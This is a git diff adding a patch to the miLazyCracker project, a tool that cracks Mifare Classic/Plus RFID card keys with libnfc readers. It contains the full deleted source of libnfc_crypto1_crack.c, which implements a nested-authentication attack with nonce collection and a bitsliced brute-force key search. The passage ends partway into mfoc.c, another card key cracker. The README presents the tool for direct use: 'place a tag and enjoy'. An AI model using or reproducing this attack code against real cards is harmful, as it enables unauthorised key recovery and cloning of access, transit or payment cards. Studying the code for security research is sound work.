diff --git a/0001-updating-scripts-and-patches.patch b/0001-updating-scripts-and-patches.patch new file mode 100644 index 0000000..d33c26a --- /dev/null +++ b/0001-updating-scripts-and-patches.patch @@ -0,0 +1,2510 @@ +From b42b72af06a477e247e6b72e685c8b3af1763d9b Mon Sep 17 00:00:00 2001 +From: Clark Kent +Date: Tue, 3 Jan 2017 21:36:55 +0100 +Subject: [PATCH] updating scripts and patches + +--- + README.md | 14 +- + crypto1_bs.diff | 22 + + libnfc_crypto1_crack.c | 725 ------------------------ + mfoc.c | 1260 ------------------------------------------ + mfoc_fix_4k_and_mini.diff | 13 + + mfoc_support_tnp.diff | 21 + + mfoc_test_prng.diff | 160 ++++++ + miLazyCracker.sh | 116 ++-- + miLazyCrackerFreshInstall.sh | 42 +- + miLazyCrackerUninstall.sh | 16 + + 10 files changed, 335 insertions(+), 2054 deletions(-) + create mode 100644 crypto1_bs.diff + delete mode 100755 libnfc_crypto1_crack.c + delete mode 100755 mfoc.c + create mode 100644 mfoc_fix_4k_and_mini.diff + create mode 100644 mfoc_support_tnp.diff + create mode 100644 mfoc_test_prng.diff + mode change 100644 => 100755 miLazyCracker.sh + create mode 100755 miLazyCrackerUninstall.sh + +diff --git a/README.md b/README.md +index e8ababf..f0068a1 100644 +--- a/README.md ++++ b/README.md +@@ -1,5 +1,17 @@ + # miLazyCracker +-Mifare Classic Plus - Hardnested Attack Implementation for SCL3711 LibNFC USB reader ++Mifare Classic Plus - Hardnested Attack Implementation for LibNFC USB readers (SCL3711, ASK LoGO, etc) ++ ++Installation: ++```bash ++./miLazyCrackerFreshInstall.sh ++``` ++ ++Usage example: place a tag and enjoy ++```bash ++mkdir mydumps ++cd mydumps ++miLazyCracker ++``` + + This tool is comprised of work from: + - Aram Verstegen (https://github.com/aczid/crypto1_bs) +diff --git a/crypto1_bs.diff b/crypto1_bs.diff +new file mode 100644 +index 0000000..f385858 +--- /dev/null ++++ b/crypto1_bs.diff +@@ -0,0 +1,22 @@ ++diff --git a/libnfc_crypto1_crack.c b/libnfc_crypto1_crack.c ++index 8a53f64..21feed2 100644 ++--- a/libnfc_crypto1_crack.c +++++ b/libnfc_crypto1_crack.c ++@@ -713,6 +713,17 @@ int main (int argc, const char * argv[]) { ++ return 1; ++ } else { ++ printf("Found key: %012"PRIx64"\n", found_key); +++ if (argc==7) { +++ FILE *fpKey = NULL; +++ fpKey = fopen(argv[6], "a"); +++ if (fpKey) { +++ fprintf(fpKey, "%012llx\r\n", found_key); +++ fclose(fpKey); +++ } else { +++ fprintf(stderr, "Cannot open: %s, exiting\n", argv[6]); +++ return 1; +++ } +++ } ++ } ++ printf("Tested %zu states\n", total_states_tested); ++ +diff --git a/libnfc_crypto1_crack.c b/libnfc_crypto1_crack.c +deleted file mode 100755 +index dc9a4e5..0000000 +--- a/libnfc_crypto1_crack.c ++++ /dev/null +@@ -1,725 +0,0 @@ +-// Copyright (C) 2016 Aram Verstegen +-/* +- GNU GENERAL PUBLIC LICENSE +- Version 2, June 1991 +- +- Copyright (C) 1989, 1991 Free Software Foundation, Inc., +- 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +- Everyone is permitted to copy and distribute verbatim copies +- of this license document, but changing it is not allowed. +- +- Preamble +- +- The licenses for most software are designed to take away your +-freedom to share and change it. By contrast, the GNU General Public +-License is intended to guarantee your freedom to share and change free +-software--to make sure the software is free for all its users. This +-General Public License applies to most of the Free Software +-Foundation's software and to any other program whose authors commit to +-using it. (Some other Free Software Foundation software is covered by +-the GNU Lesser General Public License instead.) You can apply it to +-your programs, too. +- +- When we speak of free software, we are referring to freedom, not +-price. Our General Public Licenses are designed to make sure that you +-have the freedom to distribute copies of free software (and charge for +-this service if you wish), that you receive source code or can get it +-if you want it, that you can change the software or use pieces of it +-in new free programs; and that you know you can do these things. +- +- To protect your rights, we need to make restrictions that forbid +-anyone to deny you these rights or to ask you to surrender the rights. +-These restrictions translate to certain responsibilities for you if you +-distribute copies of the software, or if you modify it. +- +- For example, if you distribute copies of such a program, whether +-gratis or for a fee, you must give the recipients all the rights that +-you have. You must make sure that they, too, receive or can get the +-source code. And you must show them these terms so they know their +-rights. +- +- We protect your rights with two steps: (1) copyright the software, and +-(2) offer you this license which gives you legal permission to copy, +-distribute and/or modify the software. +- +- Also, for each author's protection and ours, we want to make certain +-that everyone understands that there is no warranty for this free +-software. If the software is modified by someone else and passed on, we +-want its recipients to know that what they have is not the original, so +-that any problems introduced by others will not reflect on the original +-authors' reputations. +- +- Finally, any free program is threatened constantly by software +-patents. We wish to avoid the danger that redistributors of a free +-program will individually obtain patent licenses, in effect making the +-program proprietary. To prevent this, we have made it clear that any +-patent must be licensed for everyone's free use or not licensed at all. +- +- The precise terms and conditions for copying, distribution and +-modification follow. +- +- GNU GENERAL PUBLIC LICENSE +- TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION +- +- 0. This License applies to any program or other work which contains +-a notice placed by the copyright holder saying it may be distributed +-under the terms of this General Public License. The "Program", below, +-refers to any such program or work, and a "work based on the Program" +-means either the Program or any derivative work under copyright law: +-that is to say, a work containing the Program or a portion of it, +-either verbatim or with modifications and/or translated into another +-language. (Hereinafter, translation is included without limitation in +-the term "modification".) Each licensee is addressed as "you". +- +-Activities other than copying, distribution and modification are not +-covered by this License; they are outside its scope. The act of +-running the Program is not restricted, and the output from the Program +-is covered only if its contents constitute a work based on the +-Program (independent of having been made by running the Program). +-Whether that is true depends on what the Program does. +- +- 1. You may copy and distribute verbatim copies of the Program's +-source code as you receive it, in any medium, provided that you +-conspicuously and appropriately publish on each copy an appropriate +-copyright notice and disclaimer of warranty; keep intact all the +-notices that refer to this License and to the absence of any warranty; +-and give any other recipients of the Program a copy of this License +-along with the Program. +- +-You may charge a fee for the physical act of transferring a copy, and +-you may at your option offer warranty protection in exchange for a fee. +- +- 2. You may modify your copy or copies of the Program or any portion +-of it, thus forming a work based on the Program, and copy and +-distribute such modifications or work under the terms of Section 1 +-above, provided that you also meet all of these conditions: +- +- a) You must cause the modified files to carry prominent notices +- stating that you changed the files and the date of any change. +- +- b) You must cause any work that you distribute or publish, that in +- whole or in part contains or is derived from the Program or any +- part thereof, to be licensed as a whole at no charge to all third +- parties under the terms of this License. +- +- c) If the modified program normally reads commands interactively +- when run, you must cause it, when started running for such +- interactive use in the most ordinary way, to print or display an +- announcement including an appropriate copyright notice and a +- notice that there is no warranty (or else, saying that you provide +- a warranty) and that users may redistribute the program under +- these conditions, and telling the user how to view a copy of this +- License. (Exception: if the Program itself is interactive but +- does not normally print such an announcement, your work based on +- the Program is not required to print an announcement.) +- +-These requirements apply to the modified work as a whole. If +-identifiable sections of that work are not derived from the Program, +-and can be reasonably considered independent and separate works in +-themselves, then this License, and its terms, do not apply to those +-sections when you distribute them as separate works. But when you +-distribute the same sections as part of a whole which is a work based +-on the Program, the distribution of the whole must be on the terms of +-this License, whose permissions for other licensees extend to the +-entire whole, and thus to each and every part regardless of who wrote it. +- +-Thus, it is not the intent of this section to claim rights or contest +-your rights to work written entirely by you; rather, the intent is to +-exercise the right to control the distribution of derivative or +-collective works based on the Program. +- +-In addition, mere aggregation of another work not based on the Program +-with the Program (or with a work based on the Program) on a volume of +-a storage or distribution medium does not bring the other work under +-the scope of this License. +- +- 3. You may copy and distribute the Program (or a work based on it, +-under Section 2) in object code or executable form under the terms of +-Sections 1 and 2 above provided that you also do one of the following: +- +- a) Accompany it with the complete corresponding machine-readable +- source code, which must be distributed under the terms of Sections +- 1 and 2 above on a medium customarily used for software interchange; or, +- +- b) Accompany it with a written offer, valid for at least three +- years, to give any third party, for a charge no more than your +- cost of physically performing source distribution, a complete +- machine-readable copy of the corresponding source code, to be +- distributed under the terms of Sections 1 and 2 above on a medium +- customarily used for software interchange; or, +- +- c) Accompany it with the information you received as to the offer +- to distribute corresponding source code. (This alternative is +- allowed only for noncommercial distribution and only if you +- received the program in object code or executable form with such +- an offer, in accord with Subsection b above.) +- +-The source code for a work means the preferred form of the work for +-making modifications to it. For an executable work, complete source +-code means all the source code for all modules it contains, plus any +-associated interface definition files, plus the scripts used to +-control compilation and installation of the executable. However, as a +-special exception, the source code distributed need not include +-anything that is normally distributed (in either source or binary +-form) with the major components (compiler, kernel, and so on) of the +-operating system on which the executable runs, unless that component +-itself accompanies the executable. +- +-If distribution of executable or object code is made by offering +-access to copy from a designated place, then offering equivalent +-access to copy the source code from the same place counts as +-distribution of the source code, even though third parties are not +-compelled to copy the source along with the object code. +- +- 4. You may not copy, modify, sublicense, or distribute the Program +-except as expressly provided under this License. Any attempt +-otherwise to copy, modify, sublicense or distribute the Program is +-void, and will automatically terminate your rights under this License. +-However, parties who have received copies, or rights, from you under +-this License will not have their licenses terminated so long as such +-parties remain in full compliance. +- +- 5. You are not required to accept this License, since you have not +-signed it. However, nothing else grants you permission to modify or +-distribute the Program or its derivative works. These actions are +-prohibited by law if you do not accept this License. Therefore, by +-modifying or distributing the Program (or any work based on the +-Program), you indicate your acceptance of this License to do so, and +-all its terms and conditions for copying, distributing or modifying +-the Program or works based on it. +- +- 6. Each time you redistribute the Program (or any work based on the +-Program), the recipient automatically receives a license from the +-original licensor to copy, distribute or modify the Program subject to +-these terms and conditions. You may not impose any further +-restrictions on the recipients' exercise of the rights granted herein. +-You are not responsible for enforcing compliance by third parties to +-this License. +- +- 7. If, as a consequence of a court judgment or allegation of patent +-infringement or for any other reason (not limited to patent issues), +-conditions are imposed on you (whether by court order, agreement or +-otherwise) that contradict the conditions of this License, they do not +-excuse you from the conditions of this License. If you cannot +-distribute so as to satisfy simultaneously your obligations under this +-License and any other pertinent obligations, then as a consequence you +-may not distribute the Program at all. For example, if a patent +-license would not permit royalty-free redistribution of the Program by +-all those who receive copies directly or indirectly through you, then +-the only way you could satisfy both it and this License would be to +-refrain entirely from distribution of the Program. +- +-If any portion of this section is held invalid or unenforceable under +-any particular circumstance, the balance of the section is intended to +-apply and the section as a whole is intended to apply in other +-circumstances. +- +-It is not the purpose of this section to induce you to infringe any +-patents or other property right claims or to contest validity of any +-such claims; this section has the sole purpose of protecting the +-integrity of the free software distribution system, which is +-implemented by public license practices. Many people have made +-generous contributions to the wide range of software distributed +-through that system in reliance on consistent application of that +-system; it is up to the author/donor to decide if he or she is willing +-to distribute software through any other system and a licensee cannot +-impose that choice. +- +-This section is intended to make thoroughly clear what is believed to +-be a consequence of the rest of this License. +- +- 8. If the distribution and/or use of the Program is restricted in +-certain countries either by patents or by copyrighted interfaces, the +-original copyright holder who places the Program under this License +-may add an explicit geographical distribution limitation excluding +-those countries, so that distribution is permitted only in or among +-countries not thus excluded. In such case, this License incorporates +-the limitation as if written in the body of this License. +- +- 9. The Free Software Foundation may publish revised and/or new versions +-of the General Public License from time to time. Such new versions will +-be similar in spirit to the present version, but may differ in detail to +-address new problems or concerns. +- +-Each version is given a distinguishing version number. If the Program +-specifies a version number of this License which applies to it and "any +-later version", you have the option of following the terms and conditions +-either of that version or of any later version published by the Free +-Software Foundation. If the Program does not specify a version number of +-this License, you may choose any version ever published by the Free Software +-Foundation. +- +- 10. If you wish to incorporate parts of the Program into other free +-programs whose distribution conditions are different, write to the author +-to ask for permission. For software which is copyrighted by the Free +-Software Foundation, write to the Free Software Foundation; we sometimes +-make exceptions for this. Our decision will be guided by the two goals +-of preserving the free status of all derivatives of our free software and +-of promoting the sharing and reuse of software generally. +- +- NO WARRANTY +- +- 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +-REPAIR OR CORRECTION. +- +- 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +-POSSIBILITY OF SUCH DAMAGES. +- +- END OF TERMS AND CONDITIONS +-*/ +- +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +- +-#include "crypto1_bs_crack.h" +- +-extern uint64_t * crypto1_create(uint64_t key); +-extern uint32_t crypto1_word(uint64_t *, uint32_t, int); +-extern uint8_t crypto1_byte(uint64_t*, uint8_t, int); +-extern uint32_t prng_successor(uint32_t x, uint32_t n); +-extern void crypto1_destroy(uint64_t*); +- +-#define MC_AUTH_A 0x60 +-#define MC_AUTH_B 0x61 +- +-nfc_device* pnd; +-nfc_target target; +-typedef uint8_t byte_t; +- +-uint8_t oddparity(const uint8_t bt) +-{ +- // cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel +- return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1; +-} +- +- +-long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) +-{ +- uint64_t num = 0; +- while (len--) { +- num = (num << 8) | (*src); +- src++; +- } +- return num; +-} +- +- +-static nfc_context *context; +- +-#define MAX_FRAME_LEN 264 +- +-uint64_t *nonces = NULL; +-size_t nonces_collected; +- +-enum { +- OK, +- ERROR, +- KEY_WRONG, +-}; +- +-#define VT100_cleareol "\r\33[2K" +- +-// Almost entirely based on code from Mifare Offline Cracker (MFOC) by Nethemba, cheers guys! :) +-int nested_auth(uint32_t uid, uint64_t known_key, uint8_t ab_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp) +-{ +- uint64_t *pcs; +- +- // Possible key counter, just continue with a previous "session" +- uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce +- uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 }; +- +- uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; +- uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; +- +- uint8_t Rx[MAX_FRAME_LEN]; // Tag response +- uint8_t RxPar[MAX_FRAME_LEN]; // Tag response +- +- uint32_t Nt; +- +- int i; +- +- // Prepare AUTH command +- Cmd[0] = ab_key; +- Cmd[1] = for_block; +- iso14443a_crc_append(Cmd, 2); +- +- // We need full control over the CRC +- if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0) { +- nfc_perror(pnd, "nfc_device_set_property_bool crc"); +- return ERROR; +- } +- +- // Request plain tag-nonce +- // TODO: Set NP_EASY_FRAMING option only once if possible +- if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) { +- nfc_perror(pnd, "nfc_device_set_property_bool framing"); +- return ERROR; +- } +- +- if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) { +- fprintf(stdout, "Error while requesting plain tag-nonce "); +- return ERROR; +- } +- +- if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) { +- nfc_perror(pnd, "nfc_device_set_property_bool"); +- return ERROR; +- } +- +- // Save the tag nonce (Nt) +- Nt = bytes_to_num(Rx, 4); +- +- // Init the cipher with key {0..47} bits +- pcs = crypto1_create(known_key); +- +- // Load (plain) uid^nt into the cipher {48..79} bits +- crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0); +- +- // Generate (encrypted) nr+parity by loading it into the cipher +- for (i = 0; i < 4; i++) { +- // Load in, and encrypt the reader nonce (Nr) +- ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; +- ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]); +- } +- +- // Skip 32 bits in the pseudo random generator +- Nt = prng_successor(Nt, 32); +- +- // Generate reader-answer from tag-nonce +- for (i = 4; i < 8; i++) { +- // Get the next random byte +- Nt = prng_successor(Nt, 8); +- // Encrypt the reader-answer (Nt' = suc2(Nt)) +- ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); +- ArEncPar[i] = filter(*pcs) ^ oddparity(Nt); +- } +- +- // Finally we want to send arbitrary parity bits +- if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) { +- nfc_perror(pnd, "nfc_device_set_property_bool parity "); +- return 1; +- } +- +- // Transmit reader-answer +- int res; +- if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { +- fprintf(stderr, "Reader-answer transfer error, exiting.. "); +- return KEY_WRONG; +- } +- +- // Decrypt the tag answer and verify that suc3(Nt) is At +- Nt = prng_successor(Nt, 32); +- +- if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { +- fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting.. "); +- return ERROR; +- } +- +- Cmd[0] = target_key; +- Cmd[1] = target_block; +- iso14443a_crc_append(Cmd, 2); +- +- for (i = 0; i < 4; i++) { +- ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i]; +- ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]); +- } +- if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { +- fprintf(stderr, "Reader-answer transfer error, exiting.. "); +- return ERROR; +- } +- +- if(fp){ +- for(i = 0; i < 4; i++){ +- fprintf(fp,"%02x", Rx[i]); +- if(RxPar[i] != oddparity(Rx[i])){ +- fprintf(fp,"! "); +- } else { +- fprintf(fp," "); +- } +- } +- fprintf(fp, "\n"); +- } +- if(nonces){ +- nonces[nonces_collected] = 0; +- for(i = 0; i < 4; i++){ +- nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i); +- bool parity = (RxPar[i] != oddparity(Rx[i])) ^ parity(Rx[i]); +- nonces[nonces_collected] |= ((uint64_t) parity) << (32 + (8*i)); +- } +- nonces_collected++; +- } +- +- crypto1_destroy(pcs); +- return OK; +-} +- +-uint32_t uid; +-uint32_t **space; +-uint64_t found_key; +-size_t thread_count; +-void* crack_states_thread(void* x){ +- const size_t thread_id = (size_t)x; +- int j; +- for(j = thread_id; space[j * 5]; j += thread_count) { +- const uint64_t key = crack_states_bitsliced(space + j * 5); +- if(key != -1){ +- found_key = key; +- break; +- } +- } +- return NULL; +-} +- +-bool stop_collection = false; +-#define CUTOFF ((uint64_t) 1<<39) +- +-void * update_predictions_thread(void* p){ +- while(!stop_collection){ +- if(nonces && uid){ +- if(space){ +- craptev1_destroy_space(space); +- space = NULL; +- } +- space = craptev1_get_space(nonces, 95, uid); +- } +- if(space){ +- total_states = craptev1_sizeof_space(space); +- } +- } +- return NULL; +-} +- +-void notify_status_offline(int sig){ +- printf(VT100_cleareol "Cracking... %6.02f%%", (100.0*total_states_tested/(total_states))); +- alarm(1); +- fflush(stdout); +- signal(SIGALRM, notify_status_offline); +-} +- +-void notify_status_online(int sig){ +- if(!total_states){ +- printf(VT100_cleareol "Collected %zu nonces... ", nonces_collected); +- } else { +- printf(VT100_cleareol "Collected %zu nonces... leftover complexity %zu (~2^%0.2f)", nonces_collected, total_states, log(total_states) / log(2)); +- char c; +- if(scanf("%c", &c) == 1 || total_states < CUTOFF){ +- printf(" - initializing brute-force phase...\n"); +- alarm(0); +- stop_collection = true; +- return; +- } else { +- printf(" - press enter to start brute-force phase"); +- } +- } +- alarm(1); +- fflush(stdout); +- signal(SIGALRM, notify_status_online); +-} +- +-uint64_t known_key; +-uint8_t for_block; +-uint8_t ab_key; +-uint8_t target_block; +-uint8_t target_key; +-FILE* fp; +- +-const nfc_modulation nmMifare = { +- .nmt = NMT_ISO14443A, +- .nbr = NBR_106, +-}; +- +-void * update_nonces_thread(void* v){ +- while(!stop_collection){ +- // Configure the CRC and Parity settings +- nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); +- nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); +- // Poll for a ISO14443A (MIFARE) tag +- if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { +- nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, fp); +- } else { +- printf(VT100_cleareol "Don't move the tag!"); +- fflush(stdout); +- } +- } +- return NULL; +-} +- +-uint64_t main (int argc, const char * argv[]) { +- nfc_init(&context); +- pnd = nfc_open(context, NULL); +- +- if (pnd == NULL) { +- fprintf(stderr, "No NFC device connection\n"); +- return 1; +- } +- +- nfc_initiator_init(pnd); +- +- nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false); +- // Let the reader only try once to find a tag +- nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false); +- nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); +- nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); +- nfc_device_set_property_bool(pnd,NP_AUTO_ISO14443_4, false); +- +- uid = 0; +- +- // Enable field so more power consuming cards can power themselves up +- nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true); +- if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { +- uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen); +- } +- +- if(!uid){ +- fprintf(stderr, "No tag detected!\n"); +- // Disconnect from NFC device +- nfc_close(pnd); +- return 1; +- } +- +- if(argc < 6){ +- printf("%s \n", argv[0]); +- nfc_close(pnd); +- return 1; +- } +- +- known_key = strtoull(argv[1], 0, 16); +- for_block = atoi(argv[2]); +- ab_key = MC_AUTH_A; +- if(argv[3][0] == 'b' || argv[3][0] == 'B'){ +- ab_key = MC_AUTH_B; +- } +- target_block = atoi(argv[4]); +- target_key = MC_AUTH_A; +- if(argv[5][0] == 'b' || argv[5][0] == 'B'){ +- target_key = MC_AUTH_B; +- } +- switch(nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, NULL)){ +- case KEY_WRONG: +- printf("%012"PRIx64" doesn't look like the right key %s for block %u\n", known_key, ab_key == MC_AUTH_A ? "A" : "B", for_block); +- return 1; +- case OK: +- break; +- case ERROR: +- default: +- printf("Some other error occurred.\n"); +- break; +- } +- +- char filename[21]; +- sprintf(filename, "0x%04x_%03u%s.txt", uid, target_block, target_key == MC_AUTH_A ? "A" : "B"); +- fp = fopen(filename, "wb"); +- +- printf("Found tag with uid %04x, collecting nonces for key %s of block %u using known key %s %012"PRIx64" for block %u\n", uid, target_key == MC_AUTH_A ? "A" : "B", target_block, ab_key == MC_AUTH_A ? "A" : "B", known_key, for_block); +- nonces_collected = 0; +- nonces = malloc(sizeof (uint64_t) << 24); +- memset(nonces, 0xff, sizeof (uint64_t) << 24); +- +- fcntl(0, F_SETFL, O_NONBLOCK); +- signal(SIGALRM, notify_status_online); +- alarm(1); +- pthread_t prediction_thread, nonce_gathering_thread; +- pthread_create(&nonce_gathering_thread, NULL, update_nonces_thread, NULL); +- pthread_create(&prediction_thread, NULL, update_predictions_thread, NULL); +- pthread_join(nonce_gathering_thread, 0); +- pthread_join(prediction_thread, 0); +- alarm(0); +- +- if(fp){ +- fclose(fp); +- } +- nfc_close(pnd); +- +- if(!space){ +- space = craptev1_get_space(nonces, 95, uid); +- } +- if(space){ +- total_states = craptev1_sizeof_space(space); +- } else { +- total_states = 0; +- } +- if(!total_states){ +- fprintf(stderr, "No solution found :(\n"); +- return 1; +- } +- +- thread_count = get_nprocs_conf(); +- // append some zeroes to the end of the space to make sure threads don't go off into the wild +- size_t j = 0; +- for(j = 0; space[j]; j+=5){ +- } +- size_t fill = j + (5*thread_count); +- for(; j < fill; j++) { +- space[j] = 0; +- } +- pthread_t threads[thread_count]; +- +- crypto1_bs_init(); +- +- uint8_t rollback_byte = **space; +- // convert to 32 bit little-endian +- crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8); +- +- for(size_t tests = 0; tests < NONCE_TESTS; tests++){ +- // pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine +- uint32_t test_nonce = uid^rev32(nonces[tests]); +- uint32_t test_parity = (nonces[tests]>>32)^rev32(uid); +- test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3); +- crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32); +- // convert to 32 bit little-endian +- crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4); +- } +- +- printf("Starting %zu threads to test %zu states using %u-way bitslicing\n", thread_count, total_states, MAX_BITSLICES); +- total_states_tested = 0; +- keys_found = 0; +- signal(SIGALRM, notify_status_offline); +- +- notify_status_offline(0); +- alarm(1); +- +- size_t i; +- for(i = 0; i < thread_count; i++){ +- pthread_create(&threads[i], NULL, crack_states_thread, (void*) i); +- } +- for(i = 0; i < thread_count; i++){ +- pthread_join(threads[i], 0); +- } +- alarm(0); +- printf("\n"); +- if(!keys_found){ +- fprintf(stderr, "No solution found :(\n"); +- return 1; +- } else { +- FILE *fpKey; +- fpKey = fopen("/tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt", "a"); +- printf("Found key: %012"PRIx64"\n", found_key); +- fprintf(fpKey, "%012llx\r\n", found_key); +- fclose(fpKey); +- } +- printf("Tested %zu states\n", total_states_tested); +- +- craptev1_destroy_space(space); +- return 0; +-} +diff --git a/mfoc.c b/mfoc.c +deleted file mode 100755 +index ec68a0f..0000000 +--- a/mfoc.c ++++ /dev/null +@@ -1,1260 +0,0 @@ +-/*- +- * Mifare Classic Offline Cracker +- * +- * This program is free software; you can redistribute it and/or +- * modify it under the terms of the GNU General Public License +- * as published by the Free Software Foundation; either version 2 +- * of the License, or (at your option) any later version. +- * +- * This program is distributed in the hope that it will be useful, +- * but WITHOUT ANY WARRANTY; without even the implied warranty of +- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- * GNU General Public License for more details. +- * +- * You should have received a copy of the GNU General Public License +- * along with this program; if not, write to the Free Software +- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +- * +- * Contact: +- * +- * Porting to libnfc 1.3.3: Michal Boska +- * Porting to libnfc 1.3.9 and upper: Romuald Conty +- * +- */ +- +-/* +- * This implementation was written based on information provided by the +- * following documents: +- * +- * http://eprint.iacr.org/2009/137.pdf +- * http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf +- * http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf +- * http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf +- */ +- +-#define _XOPEN_SOURCE 1 // To enable getopt +- +-#include +-#include +-#include +- +-#include +- +-// NFC +-#include +- +-// Crapto1 +-#include "crapto1.h" +- +-// Internal +-#include "config.h" +-#include "mifare.h" +-#include "nfc-utils.h" +-#include "mfoc.h" +- +-//SLRE +-#include "slre.h" +-#include "slre.c" +- +-nfc_context *context; +- +-uint64_t knownKey = 0; +-char knownKeyLetter = 'A'; +-uint32_t knownSector = 0; +-uint32_t unknownSector = 0; +-char unknownKeyLetter = 'A'; +-uint32_t unexpected_random = 0; +- +-// Determine the distance between two nonces. +-// Assume that the difference is small, but we don't know which is first. +-// Therefore try in alternating directions. +-int32_t dist_nt(uint32_t nt1, uint32_t nt2) { +- +- if (nt1 == nt2) return 0; +- +- uint16_t i; +- uint32_t nttmp1 = nt1; +- uint32_t nttmp2 = nt2; +- +- for (i = 1; i < (32768/8); ++i) { +- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i; +- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -i; +- +- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+1; +- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+1); +- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+2; +- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+2); +- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+3; +- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+3); +- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+4; +- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+4); +- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+5; +- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+5); 